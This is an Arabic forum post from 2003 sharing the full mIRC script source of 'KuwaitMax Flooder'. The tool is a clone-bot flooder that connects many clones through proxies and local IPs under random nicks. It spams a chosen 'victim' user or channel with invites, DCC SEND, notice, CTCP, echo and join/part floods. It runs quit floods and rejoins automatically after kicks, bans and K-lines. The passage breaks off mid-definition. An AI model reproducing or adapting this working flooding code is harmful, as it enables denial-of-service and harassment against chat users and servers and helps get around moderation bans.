قديم 06-21-2003, 11:07 AM   المشاركة رقم: 1
المعلومات
الكاتب:
اللقب:
الاعضاء
الصورة الرمزية
 
الصورة الرمزية Erro

البيانات
التسجيل: Jun 2003
العضوية: 1654
المشاركات: 5 [+]
بمعدل : 0.00 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10
 

الإتصالات
الحالة:
Erro غير متصل
وسائل الإتصال:

المنتدى : برامج - سكربتات - اضافات ماسنجر
دايالوق فلوود بروكسي

السلام عليكم



هذا دايالوق فلووود بروكسي

; _________________
; BsB v1
; ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
; o Author: SaLik
; o E-mail bader@kuwaitmax.com
; o Web http://kuwaitmax.com/vb
;
dialog SaLik {
title "KuwaitMax Flooder"
size -1 -1 222 156
option dbu
button "اضبط", 1, 77 17 24 10
box "", 2, 1 1 101 50
icon 3, -4 -27 67 99
button "اغلاق", 6, 77 28 24 10, cancel
button "اقرني", 7, 77 39 24 10
button "Cycle Nicks", 11, 8 66 40 10
button "Quit Flood", 17, 55 66 40 10
box "", 9, 1 50 101 29
text "Server:", 10, 3 56 17 7
text "Port:", 12, 68 56 12 7
box "", 13, 1 73 215 60
text "Victim", 14, 40 17 25 7
edit "#Franks", 15, 150 99 60 10, autohs
edit "6667", 16, 80 55 19 10
edit "tiscali.dal.net", 18, 20 55 47 10, autohs
edit "", 19, 3 16 30 10, autohs
edit "BsB-RuLz.txt", 20, 150 79 60 10, autohs
edit "", 21, 40 79 60 10, autohs
edit "", 22, 40 89 60 10, autohs
edit "Pager", 23, 150 89 60 10, autohs
edit "", 24, 40 99 60 10, autohs
edit "", 25, 40 109 60 10, autohs
edit "", 26, 150 119 60 10, autohs
edit "", 28, 150 109 60 10, autohs
box "Status:", 29, 106 2 101 71
edit "", 30, 109 10 95 58, read multi autovs vsbar
radio "Invite", 31, 110 100 30 7
radio "Dcc Send", 33, 110 80 35 10
radio "العام", 34, 3 79 20 10
radio "نوتس", 35, 3 89 25 10
radio "Ctcp", 36, 110 90 23 10
radio "Ctcp Reply", 37, 3 99 36 10
radio "Join/Part", 38, 3 110 32 7
button "Command", 27, 110 110 30 8
button "Minimize", 40, 77 6 24 10
button "Start", 42, 10 137 24 10
button "Halt", 43, 67 137 24 10
button "Quit", 44, 118 137 24 10
button "D\C", 60, 179 137 24 10
text "Quit Msg:", 46, 110 120 25 7
check "تشغيل", 47, 40 38 28 10, push
box "", 58, 4 35 30 14
text "", 59, 8 40 21 8
text "Strike Power", 61, 40 8 35 8
edit "10", 62, 3 6 30 10
edit "#Franks", 63, 3 26 30 10, autohs
button "ادخلهم", 68, 40 26 15 10
button "خروج", 70, 55 26 15 10
radio "Echo", 67, 3 119 23 10
edit "", 66, 40 119 60 10, autohs
}
on *:dialog:SaLik:sclick:64: {
if ($sock(SaLik*) == $null) { error.msg ok Error: No Clones are available | return }
set %SaLik.park $did(63).text
sockwrite -tn SaLik* JOIN : $+ %SaLik.park
}
on *:dialog:SaLik:sclick:65: {
if ($sock(SaLik*) == $null) { error.msg ok Error: No Clones are available | return }
set %SaLik.park $did(63).text
sockwrite -tn SaLik* PART : $+ %SaLik.park
}
alias BsB {
if ($dialog(SaLik)) { return }
if ($window(@StRoM)) { window -a @StRoM | return }
unloadversion?
unset %SaLik*
options.write
dialog -mdie SaLik SaLik
}
alias -l gupload.set {
if ($active != @StRoM) { return }
window -c @StRoM
set %SaLik-maximize L
dialog -m SaLik SaLik
.timerSaLikminimize off
if (%SaLik.clones $+ %SaLik.clonew $+ %SaLik.clonel > 0 ) { did -c SaLik 47 }
if ($sock(Identd.SaLik)) { did -c SaLik 39 }
did -o SaLik 62 1 %SaLik-gsaveFX
var %SaLik-dest 14
:loop
inc %SaLik-dest
if (%SaLik-dest > 26) { var %SaLik-dest 31 | goto cloop }
if ( %SaLik-gsave- [ $+ [ %SaLik-dest ] ] == $null) { goto loop }
did -o SaLik %SaLik-dest 1 %SaLik-gsave- [ $+ [ %SaLik-dest ] ]
goto loop
:cloop
if (%SaLik-dest > 39) { unset %SaLik-gsave* | if ($left($did(SaLik,19).text,1) == +) || ($left($did(SaLik,19).text,1) == &) || ($left($did(SaLik,19).text,1) == $chr(35)) { did -ub SaLik 31,33,15,20 | did -e SaLik 38,25 | return } | did -ub SaLik 38,25 | return }
if ($gettok(%SaLik-gsave, $calc(%SaLik-dest - 30),44) == 1) { did -c SaLik %SaLik-dest }
inc %SaLik-dest
goto cloop
}
alias -l gsave.set {
unset %SaLik-gsave*
var %SaLik-dest 14
set %SaLik-gsaveFX $did(SaLik,62).text
:loop
inc %SaLik-dest
if (%SaLik-dest > 26) { var %SaLik-dest 31 | goto cloop }
set %SaLik-gsave- [ $+ [ %SaLik-dest ] ] $did(SaLik,%SaLik-dest)).text
goto loop
:cloop
if (%SaLik-dest > 38) { return }
set %SaLik-gsave [ [ %SaLik-gsave ] $+ ] , [ $+ [ $did(SaLik, %SaLik-dest).state ] ]
inc %SaLik-dest
goto cloop
}
menu menubar,status,channel {
~BsB~: BsB | set %Mess كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz
}
on *:dialog:SaLik:edit:*: {
if ($did == 19) { if ($left($did(SaLik,19).text,1) == +) || ($left($did(SaLik,19).text,1) == &) || ($left($did(SaLik,19).text,1) == $chr(35)) { did -ub SaLik 31,15,33,20 | did -e SaLik 38,25 | return } | did -e SaLik 31,15,33,20 | did -ub SaLik 38,25 }
if ($did == 16) || ($did == 62) {
var %tmp = $mid($did(SaLik,$did).text,$did(SaLik,$did).selend ,1)
if (%tmp isnum ) { return }
did -o SaLik $did 1 $remove($did(SaLik,$did).text,%tmp)
}
}
alias -l d/c {
sockclose *
.timerSaLik* off
unset %SaLik*
sockclose Identd.SaLik*
info -Disconnected-
did -u SaLik 47
}
on *:dialog:SaLik:sclick:*:{
if ($did == 60) {
d/c
}
if ($did == 7) {
if ($exists( [ [ $scriptdir ] $+ ] readme.txt )) { run $scriptdirreadme.txt }
}
if ($did == 11) {
.timerSaLik.NF 30 2 nickswitch
}
if ($did == 27) {
if ($sock(SaLik*) == $null) { error.msg ok Error: No Clones are available | return }
if ($did(SaLik,28) == $null) { error.msg ok Error: Command text box is empty | return }
.sockwrite -nt SaLik* $1- $did(SaLik,28)
}
if ($did == 17) {
var %tmp = $read -l10 $scriptdiroptions.txt
set %SaLik.floodtype joinpart
set %SaLik.floodchan $did(SaLik,19)
set %SaLik.server-port $did(SaLik,18) $did(SaLik,16)
set %SaLik.ircserver $did(SaLik,18)
if (%SaLik.ircserver == $null) { error.msg ok Error: Server parameters are not defined | did -u SaLik 47 | return }
Info Psycho Quit Flood Is Started
connect
}
if ($did == 47) {
var %tmp = $read -l10 $scriptdiroptions.txt
set %SaLik.server-port $did(SaLik,18) $did(SaLik,16)
set %SaLik.ircserver $did(SaLik,18)
if ($did(SaLik,47).state == 0) { info [Clone Generation Stoped] | .timerSaLik* off | unset %SaLik.clone* | return }
if (%SaLik.ircserver == $null) { error.msg ok Error: Server parameters are not defined | did -u SaLik 47 | return }
connect
}
if ($did == 44) {
if ($sock(SaLik*) == $null) { error.msg ok Error: No Clones are available | return }
{ unset %flood.type | set %fucker OFF | %bots.connected = 0 | %kill.count = 0 | /timerflood off | .timerSaLik* off | did -u SaLik 47 | info All Sockets Closed!!! | sockwrite -tn SaLik* QUIT : [ $+ [ $did(SaLik,26) ] ] }
}
if ($did == 42) {
if ($did(SaLik,19) == $null) { error.msg ok Error: "Channel\Victim" not specified | return }
if ($sock(SaLik*) == $null) { error.msg ok Error: No Clones are available | return }
.timerSaLik.flood* off
.timerSaLik.rejoin off
if ($did(SaLik,31).state $+ $did(SaLik,33).state $+ $did(SaLik,34).state $+ $did(SaLik,35).state $+ $did(SaLik,36).state $+ $did(SaLik,37).state $+ $did(SaLik,38).state $+ $did(SaLik,67).state < 1) { error.msg ok Error: Select a flood type | return }
set %SaLik-victim $iif($left($did(SaLik,19),1) == + || $left($did(SaLik,19),1) == & || $left($did(SaLik,19),1) == $chr(35) ,c,n) $did(SaLik,19)
if ($sock(SaLik.birc*)) { grejoin | .timerSaLik.rejoin -o 0 10 grejoin }
set %SaLik.FloodX $did(SaLik,62).text
unset %SaLik.SaLikflood.reps
unset %SaLik.flood.type
flood.set $gettok(%SaLik-victim,2-,32)
}
if ($did == 8) { .timertmpdelay 1 0 StRoM.unload }
if ($did == 43) { flood.halt | info -Flood Halted- }
if ($did == 40) { gsave.set | .timerSaLikminimize -o 0 0 gupload.set | dialog -x SaLik SaLik | window -pnk +Lb @StRoM 1 1 1 1 }
if ($did == 41) { run www.salik.cjb.net }
if ($did == 1) { dialog -am OP.SaLik OP.SaLik }
}
alias -l flood.halt {
.timerSaLik.flood* off
.timerSaLik.rejoin off
if ($gettok(%SaLik-victim,1,32) == c) { sockwrite -tn SaLik* PART : $+ $gettok(%SaLik-victim,2,32) }
}
alias -l task {
if ($dialog(SaLik) == $null) && ($window(@StRoM) == $null ) { .timerSaLik* off | .timertask off | sockclose identd.SaLik* | unset %SaLik* | sockclose SaLik* | return }
if ($dialog(SaLik) != $null) { did -a SaLik 59 $str(0, $calc( 3 - $len($sock(SaLik*,0))))) $+ $sock(SaLik*,0) $+ $chr(47) $+ $str(0,$calc( 3 - $len($sock(SaLik*,0))))) $+ $calc($sock(SaLik*,0) - $sock(SaLik.ip.probe,0)) }
}
alias -l flood.set {
if ($did(SaLik,31).state == 1) { set %SaLik.flood.type INVITE $1 : $+ $did(SaLik,15) }
if ($did(SaLik,33).state == 1) { set %SaLik.flood.type PRIVMSG $1 :DCC SEND $replace($did(SaLik,20), $chr(32) ,_) 0 0 0 }
if ($did(SaLik,34).state == 1) { set %SaLik.flood.type PRIVMSG $1 : $+ $did(SaLik,21) }
if ($did(SaLik,35).state == 1) { set %SaLik.flood.type NOTICE $1 : $+ $did(SaLik,22) }
if ($did(SaLik,36).state == 1) { set %SaLik.flood.type PRIVMSG $1 : $+ $did(SaLik,23) $+  }
if ($did(SaLik,37).state == 1) { set %SaLik.flood.type NOTICE $1 : $+ $did(SaLik,24) $+  }
if ($did(SaLik,67).state == 1) { set %SaLik.flood.type PRIVMSG $1 :ECHO� $+ $did(SaLik,66) $+  }
if ($did(SaLik,38).state == 1) { set %SaLik.flood.type JOIN : $+ $1- $chr(131) PART $1 : $+ $did(SaLik,25) | var %SaLik.flood.len = $calc($len(ABCD : $+ $1) * 2) }
info -Starting Flood-
if ($gettok(%SaLik-victim,1,32) == c) && ($gettok(%SaLik.flood.type ,1,32) != Join) {
sockwrite -tn SaLik* JOIN : [ $+ [ $gettok(%SaLik-victim,2-,32) ] ]
}
info victim\channel: $gettok(%SaLik-victim,2,32)
if (%SaLik.flood.len == $null) { var %SaLik.flood.len = $len(%SaLik.flood.type ) }
.timerSaLik.flood -o $calc(%SaLik.FloodX + 2) $iif($round($calc((%SaLik.flood.len / 50) * $sock(irc.SaLik*,0)),0) > 1,$round($calc((%SaLik.flood.len / 50) * $sock(irc.SaLik*,0)),0),1) SaLik.flood
SaLik.flood
}
alias -l SaLik.flood {
if ($sock(SaLik*,0) == 0) { .timerSaLik.flood* off | return }
if ($timer(SaLik.flood).reps == 2) { info -Flooding Complete- | flood.halt | return }
var %tmpt = $iif($round($calc((%SaLik.flood.len / 50) * $sock(irc.SaLik*,0)),0) > 1,$round($calc((%SaLik.flood.len / 50) * $sock(irc.SaLik*,0)),0),1)
var %tmpd = $timer(SaLik.flood).delay
if (%tmpd > %tmpt) { .timerSaLik.flood -o $timer(SaLik.flood).reps %tmpt SaLik.flood | SaLik.flood | return }
if (%tmpd < %tmpt) { .timerSaLik.flood [ $+ [ $ticks ] ] -o 1 $calc(%tmpt - %tmpd) SaLik.flood | .timerSaLik.flood -o $timer(SaLik.flood).reps %tmpt SaLik.flood }
sockwrite -tn SaLik* $gettok(%SaLik.flood.type,1,131)
sockwrite -tn SaLik* $$gettok(%SaLik.flood.type,2-,131)
}
on *:dialog:SaLik:init:0:{
.timertask -o 0 0 task
if (%SaLik-gsave == $null) { did -c SaLik 34 }
if (%SaLik-maximize == $null) {
did -b SaLik 38,25
did -o SaLik 19 1 #Bohra
did -a SaLik 21,22,24,25,26,66 %Mess
if ($server != $null) { did -o SaLik 18 1 $server | did -o SaLik 16 1 $port }
}
unset %SaLik-maximize
}
dialog Op.SaLik {
title "BsB Options"
size -1 -1 103 126
option dbu
box "Connect Options:" 3, 1 5 101 79
check "Proxy" 4, 4 15 28 7
check "List Nicks" 5, 4 25 30 7
check "Local IP" 6, 4 35 29 7
edit "" 7, 570 14 25 10
edit "" 8, 570 24 25 10
edit "" 9, 3 44 14 10
edit "" 10, 570 56 14 10
edit "" 11, 3 56 14 10
edit "" 12, 3 68 14 10
edit "" 13, 28 87 60 10, autohs
edit "" 14, 28 97 60 10, autohs
text ":Per Proxy" 17, 17 45 30 7
text ":Local IP" 18, 17 57 30 7
text ":Sec. Clone Generation Delay" 20, 17 69 84 7
text "Proxy:" 21, 5 88 22 7
text "Nicks:" 22, 5 98 22 7
box "Server Lists:" 23, 1 80 101 30
button "?" 24, 89 87 10 10
button "?" 25, 89 97 10 10
button "OK" 26, 22 113 20 10
button "Cancel" 27, 43 113 20 10, ok
button "Default" 28, 64 113 20 10
}
on *:dialog:op.SaLik:edit:*:{
var %tmp = $mid($did(op.SaLik,$did).text,$did(op.SaLik,$did). selend,1)
if ($did < 13) && ( %tmp isnum ) || ($did > 12) { return }
did -o op.SaLik $did 1 $remove($did(op.SaLik,$did).text,%tmp)
}
on *:dialog:op.SaLik:init:0: {
options.write
var %SaLik-dest 7
:edit-load
if (%SaLik-dest >= 15) { var %SaLik-dest 0 | var %SaLik-temp = [ [ $read -l10 [ [ $scriptdir ] $+ ] options.txt ] ] | goto ch-loop }
did -o op.SaLik %SaLik-dest 1 $read -l [ $+ [ $calc(%SaLik-dest - 5) ] ] [ [ $scriptdir ] $+ ] options.txt
inc %SaLik-dest
goto edit-load
:ch-loop
inc %SaLik-dest
if (%SaLik-dest >= 4) { return }
if ($gettok(%SaLik-temp, %SaLik-dest ,44) == 1) { did -c op.SaLik $calc(%SaLik-dest + 3) }
goto ch-loop
}
alias -l SaLik.file-dir {
if ($1 == s) { var %SaLik-buffer [ [ $file="Proxy List:" [ [ $mircdirlists\ ] $+ ] *.txt ] ] | if (%SaLik-buffer) { did -o op.SaLik 13 1 %SaLik-buffer } }
if ($1 == w) { var %SaLik-buffer [ [ $file="Nicks List:" [ [ $mircdirlists\ ] $+ ] *.txt ] ] | if (%SaLik-buffer) { did -o op.SaLik 14 1 %SaLik-buffer } }
}
on *:dialog:op.SaLik:sclick:*:{
if ($did == 24) { .timerdelay -o 1 0 SaLik.file-dir s }
if ($did == 25) { .timerdelay -o 1 0 SaLik.file-dir w }
if ($did == 26) {
write -c [ [ $scriptdir ] $+ ] options.txt *Do not edit manually*
write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.SaLik,7).text,$did(op.SaLik,7),SaLik)
write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.SaLik,8).text,$did(op.SaLik,8).text, SaLik)
write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.SaLik,9).text,$did(op.SaLik,9).text, 2)
write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.SaLik,10).text,$did(op.SaLik,10).text , 2)
write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.SaLik,11).text,$did(op.SaLik,11).text , 2)
write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.SaLik,12).text,$did(op.SaLik,12).text , 5)
write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.SaLik,13).text,$did(op.SaLik,13).text , [ [ $scriptdir ] $+ ] Proxy.txt)
write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.SaLik,14).text,$did(op.SaLik,14).text , [ [ $scriptdir ] $+ ] Nicks.txt)
write [ [ $scriptdir ] $+ ] options.txt [ [ $did(op.SaLik,4).state ] $+ ] , [ $+ [ $did(op.SaLik,5).state ] $+ ] , [ $+ [ $did(op.SaLik,6).state ] ]
dialog -x op.SaLik op.SaLik
}
if ($did == 28) { op.SaLik-def }
}
alias -l op.SaLik-def {
did -o op.SaLik 7 1 SaLik
did -o op.SaLik 8 1 SaLik
did -o op.SaLik 9 1 2
did -o op.SaLik 10 1 2
did -o op.SaLik 11 1 2
did -o op.SaLik 12 1 1
did -o op.SaLik 13 1 $mircdirStRoM\Proxy.txt
did -o op.SaLik 14 1 $mircdirStRoM\Nicks.txt
did -c op.SaLik 4,5,6
}
alias -l connect {
var %tmp = $read -l10 $scriptdiroptions.txt
set %SaLik.proxylist [ [ $read -l8 $scriptdiroptions.txt ] ]
set %SaLik.nickslist [ [ $read -l9 $scriptdiroptions.txt ] ]
set %SaLik.clonelnos [ [ $read -l6 $scriptdiroptions.txt ] ]
if (1 isin %tmp) {
if ($mid(%tmp,1,1) == 1) && ($exists(%SaLik.proxylist)) { set %SaLik.ircserver $did(SaLik,18) | set %SaLik.clones [ [ $read -l4 $scriptdiroptions.txt ] ] }
if ($mid(%tmp,3,1) == 1) && ($exists(%SaLik.nickslist)) { set %SaLik.listuser 1 }
if ($mid(%tmp,3,1) == 0) && ($exists(%SaLik.nickslist)) { set %SaLik.listuser 0 }
if ($mid(%tmp,5,1) == 1) { set %SaLik.clonel [ [ $read -l6 $scriptdiroptions.txt ] ] }
if (%SaLik.proxylist) && ($exists(%SaLik.proxylist) == $false) && ($mid(%tmp,1,1) == 1) { info Error: Cannot locate Proxy list }
if (%SaLik.nickslist) && ($exists(%SaLik.nickslist) == $false) && ($mid(%tmp,3,1) == 1) { info Error: Cannot locate Nicks list }
if (%SaLik.clones $+ %SaLik.clonel == $null) { error.msg ok Error: Clone type(s) are not selected | did -u SaLik 47 | return }
info Clone Generation Started
if (%SaLik.clones) { Info %botloop Proxies | loadbots }
if (%SaLik.clonel) { Info %SaLik.clonelnos Local IPs }
connect.sockets
unset %SaLik.p#list* %SaLik.n#list*
.timerSaLik.clone.delay -o 0 [ [ $read -l7 $scriptdiroptions.txt ] ] connect.sockets
return
}
error.msg ok Error: Clone type(s) are not selected
did -u SaLik 47
}
alias -l connect.sockets {
var %t = $ticks
if (%SaLik.clones > 0) { dec %SaLik.clones | .timerSaLik.Proxy [ $+ [ %t ] ] -o 0 0 connect.read.sockets s %t }
if (%SaLik.clonel > 0) { dec %SaLik.clonel | sockopen SaLik.circ [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(SaLik.circ*, [ [ $sock(SaLik.circ*,0) ] ] ),3,46) + 1) ] ] %SaLik.server-port }
load.connect?
}
alias -l load.connect? {
if (%SaLik.clones $+ %SaLik.clonel < 1 ) && ($timer(SaLik.Proxy) == $null) { .timerSaLik.clone.delay off | info Generation Completed | unset %SaLik.clone* | if ($dialog(SaLik)) { did -u SaLik 47 } }
}
alias -l connect.read.sockets {
if ($1 == s) {
inc %SaLik.s#list [ $+ [ $2 ] ]
if (%tmps == $null) { .timerSaLik.Proxy [ $+ [ $2 ] ] off | load.connect? | return }
sockopen SaLik.proxy. [ $+ [ $calc($gettok($sock(SaLik.proxy*, [ [ $sock(SaLik.proxy*,0) ] ] ),3,46) + 1) ] ] $gettok(%tmps,1,32) $iif($gettok(%tmps,2,32),$gettok(%tmps,2,32), %SaLik.Proxyport)
}
}
on *:sockopen:SaLik.circ*:{
if ($sockerr > 0) { return }
if (%SaLik.listuser == 1) { sockwrite -tn $sockname USER $read %SaLik.nickslist " $+ $rand(a,z) $+ " " $+ $rand(a,z) $+ " : $+ $rand(a,z) }
if (%SaLik.listuser == 0) { sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
if (%SaLik.listuser == 1) { sockwrite -tn $sockname NICK $listuser }
if (%SaLik.listuser == 0) { sockwrite -tn $sockname NICK $randuser }
inc %ln
if %ln = 31 { %ln = 1 }
}
on *:sockopen:SaLik.ip.probe:{
set %SaLik.ip.probe $sock($sockname).ip
if ($remove(%SaLik.ip.probe,.) isletter) { info Error: Cannot retrieve server IP | unset %SaLik.ip.probe }
sockclose $sockname
connect
}
on 1:sockopen:SaLikbot*:{
if ($sockerr > 0) { return }
if (%SaLik.listuser == 0) %SaLik = $randuser
if (%SaLik.listuser == 1) %SaLik = $listuser
.sockwrite -tn $sockname POST HTTP:// $+ %SaLik.ircserver $+ :6668/ HTTP/1.0 $+ $chr(13) $+ $chr(10)
.sockwrite -tn $sockname $chr(13) $+ $chr(10)
.sockwrite -tn $sockname $chr(13) $+ $chr(10)
.sockwrite -tn $sockname USER %SaLik
.sockwrite -tn $sockname NICK %SaLik
set %sockname $sockname
set %sockip $sock($sockname).ip
set %sockport $sock($sockname).port
if (%SaLik.floodtype == joinpart) { goto joinpart }
if (%SaLik.floodtype == hold) { goto hold }
halt
:joinpart
.sockwrite -tn $sockname join %SaLik.floodchan
.sockwrite -tn $sockname privmsg %SaLik.floodchan :VERSION  $+ $lf $+ PRIVMSG %SaLik.floodchan :FINGER $+ $lf $+ PRIVMSG %SaLik.floodchan :TIME
.sockwrite -tn $sockname quit : [ $+ [ $did(SaLik,26) ] ]
.sockclose %sockname
.sockopen %sockname %sockip %sockport
return
:hold
return
}
on *:sockread:SaLik.circ*:{
sockread %SaLik-cc.info
var %SaLik-raw = $gettok(%SaLik-cc.info,2,32)
if (%SaLik-raw == 433) {
if (%SaLik.listuser == 1) { sockwrite -tn $sockname NICK $listuser }
if (%SaLik.listuser == 0) { sockwrite -tn $sockname NICK $randuser }
}
if ( $gettok(%SaLik-cc.info,1,32) == PING) { sockwrite -tn $sockname PONG %SaLik-raw }
if (%SaLik-raw == 376) {
sockwrite -tn $sockname Mode $gettok(%SaLik-cc.info,3,32) %SaLik.clones.modes
sockrename $sockname SaLik.irc [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(SaLik*, $sock(SaLik*,0)),3,46) + 1) ] ]
if ($gettok(%SaLik-victim,1,32) == c) && ($timer(SaLik.flood)) { sockwrite -tn SaLik* JOIN : [ $+ [ $gettok(%SaLik-victim,2-,32) ] ] }
}
if (K-line isin %SaLik-cc.info) && (%SaLik.nomsgok == $null) { error.msg ok * "K-line" :Clone cannot connect to server }
if (G-line isin %SaLik-cc.info) && (%SaLik.nomsgok == $null) { error.msg ok * "G-line" :Clone cannot connect to server }
unset %SaLik-cc.info
}
on *:sockread:SaLik*:{
sockread %SaLik-c.info
var %SaLik-raw = $gettok(%SaLik-c.info,2,32)
if (timeout isin %SaLik-c.info) { %sock.name = $sockname | %sock.ip = $sock($sockname).ip | .sockclose $sockname | recon %sock.name %sock.ip }
if (server is full isin %SaLik-c.info) { %sock.name = $sockname | %sock.ip = $sock($sockname).ip | .sockclose $sockname | recon %sock.name %sock.ip }
if ( $gettok(%SaLik-c.info,1,32) == Error) {
if (Quit: isin %SaLik-c.info) { return }
if (K-line isin %SaLik-c.info) && (%SaLik.nomsg == $null) { error.msg yn "K-line" detected in Clone Quit, Disconnect clones? }
if (G-line isin %SaLik-c.info) && (%SaLik.nomsg == $null) { error.msg yn "G-line" detected in Clone Quit, Disconnect clones? }
if (Killed isin %SaLik-c.info) && (%SaLik.nomsg == $null) { error.msg yn "Killed" detected in Clone Quit, Disconnect clones? }
return
}
if ( $gettok(%SaLik-c.info,1,32) == PING) { sockwrite -tn $sockname PONG %SaLik-raw }
if (%SaLik-raw == KICK) { sockwrite -tn $sockname JOIN $gettok(%SaLik-c.info,3,32) }
if (%SaLik-raw == 474) { if ($sock(SaLik.birc*,0) == $sock(SaLik*,0)) && (%SaLik.bmsg == $null) { info -All Clones have been banned- | info -Attempting to rejoin every 10 secs- | set %SaLik.bmsg L | set %SaLik.SaLikflood.reps $timer(SaLik.flood).reps | .timerSaLik.flood* off } | if (%SaLik.SaLikflood.reps) { sockrename $sockname SaLik.birc [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(SaLik.birc*, [ [ $sock(SaLik.birc*,0) ] ] ),3,46) + 1) ] ] | if ($timer(grejoin) == $null) { .timerSaLik.rejoin -o 0 10 grejoin } } }
unset %SaLik-c.info
}
alias -l grejoin {
if ($sock(SaLik.birc*) == $null) { .timerSaLik.rejoin off | unset %SaLik.bmsg | return }
sockwrite -tn SaLik.birc* JOIN $gettok(%SaLik-c.info,3,32)
}
on *:sockread:SaLik.birc*:{
sockread %SaLik-bc.info
var %SaLik-raw = $gettok(%SaLik-bc.info,2,32)
if ($gettok(%SaLik-bc.info,1,32) == PING) { sockwrite -tn $sockname PONG %SaLik-raw }
if (%SaLik-raw == JOIN) {
sockrename $sockname SaLik.irc [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(SaLik*, [ [ $sock(SaLik*,0) ] ] ),3,46) + 1) ] ]
if ($sock(SaLik*,0) == 1) || (%SaLik.SaLikflood.reps) { .timerSaLik.flood -o %SaLik.SaLikflood.reps $iif($round($calc((%SaLik.flood.len / 50) * $sock(irc.SaLik*,0)),0) <= 0 ,$round($calc((%SaLik.flood.len / 50) * $sock(irc.SaLik*,0)),0),1) SaLik.flood }
}
}
dialog Msg.SaLik {
title "BsB Error Report:"
size -1 -1 100 50
option dbu
text "" 1, 5 5 95 35
icon 4, 6 5 16 16
button "Yes" 5, 60 38 20 10
button "No" 6, 20 38 20 10
button "OK" 3, 38 38 20 10, ok
check "Don't show this message again" 7, 3 23 85 10
box "" 8, 0 -2 100 37
}
alias -l info {
if ($dialog(SaLik)) {
did -i SaLik 30 $did(SaLik,30).lines $1-
}
}
alias error.msg {
if ($dialog(msg.SaLik)) { dialog -x msg.SaLik msg.SaLik }
set %SaLik.infomsg $2-
set %SaLik.infomsgop $1
dialog -amo msg.SaLik msg.SaLik
}
on *:dialog:msg.SaLik:init:0:{
if (%SaLik.infomsgop == yn) { did -h msg.SaLik 3 }
if ($gettok(%SaLik.infomsgop,1,32) == ok) { did -h msg.SaLik 5,6,7 }
if ( $gettok(%SaLik.infomsg,1,32) == * ) { did -a msg.SaLik 1 $gettok(%SaLik.infomsg,2-,32) | did -v msg.SaLik 7 }
if ( $gettok(%SaLik.infomsg,1,32) != * ) { did -a msg.SaLik 1 %SaLik.infomsg }
dialog -v msg.SaLik msg.SaLik
if ($exists($scriptdirerror.ico)) { did -g msg.SaLik 4 $scriptdirerror.ico }
unset %SaLik.infomsg*
}
on *:dialog:msg.SaLik:sclick:*:{
if ($did == 7) { return }
if ($did == 5) {
sockclose SaLik*
sockclose identd.SaLik*
if ($timer(SaLikminimize)) { var %tmp 0 }
.timerSaLik* off
if (%tmp) { .timerSaLikminimize -o 0 0 gupload.set }
unset %SaLik.clone*
}
if ($did(msg.SaLik,7).state == 1) && ($did != 3) { set %SaLik.nomsg 1 }
if ($did == 3) && ($did(msg.SaLik,7).state == 1) { set %SaLik.nomsgok 1 }
dialog -x msg.SaLik msg.SaLik
}
on *:load: {
unloadversion?
echo -a 2**** 11,11 12,12 0,2 ك§ك <كهذ §t®êêt كً¥z> Flooder Loaded SuccssesFully Type: /bsb 9,2 12,12 11,11
set %Mess كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz
if ($exists( [ [ $scriptdir ] $+ ] readme.txt )) { run $scriptdirreadme.txt }
}
on *:start: {
set %Mess كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz كهذ §t®êêt كً¥z RuLz
}
alias unloadversion? {
if ($verison < 5.7) { echo -a 2******** 11,11 12,12 0,2ك§ك12,12 11,11  BsB Flooder is not compatible with mirc $version : 5.7+ is required to run BsB | unload -rs $script }
if ($window(-1).h < 600) || ($window(-1).w < 800) { echo -a 0,1 [:BsB:]: BsB Flooder is only compatible with resolution size 800+ by 600+ pixels | unload -rs $script }
}
alias listuser {
return $read %SaLik.nickslist " $+ $rand(a,z) $+ " " $+ $rand(a,z) $+ " : $+ $rand(a,z)
}
alias randuser {
return $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
}
alias nickswitch {
if (%SaLik.listuser == 1) { .sockwrite -tn SaLik* nick $listuser }
if (%SaLik.listuser == 0) { .sockwrite -tn SaLik* nick $randuser }
}
alias recon {
.sockopen $1 $2 6668
}
alias loadbots {
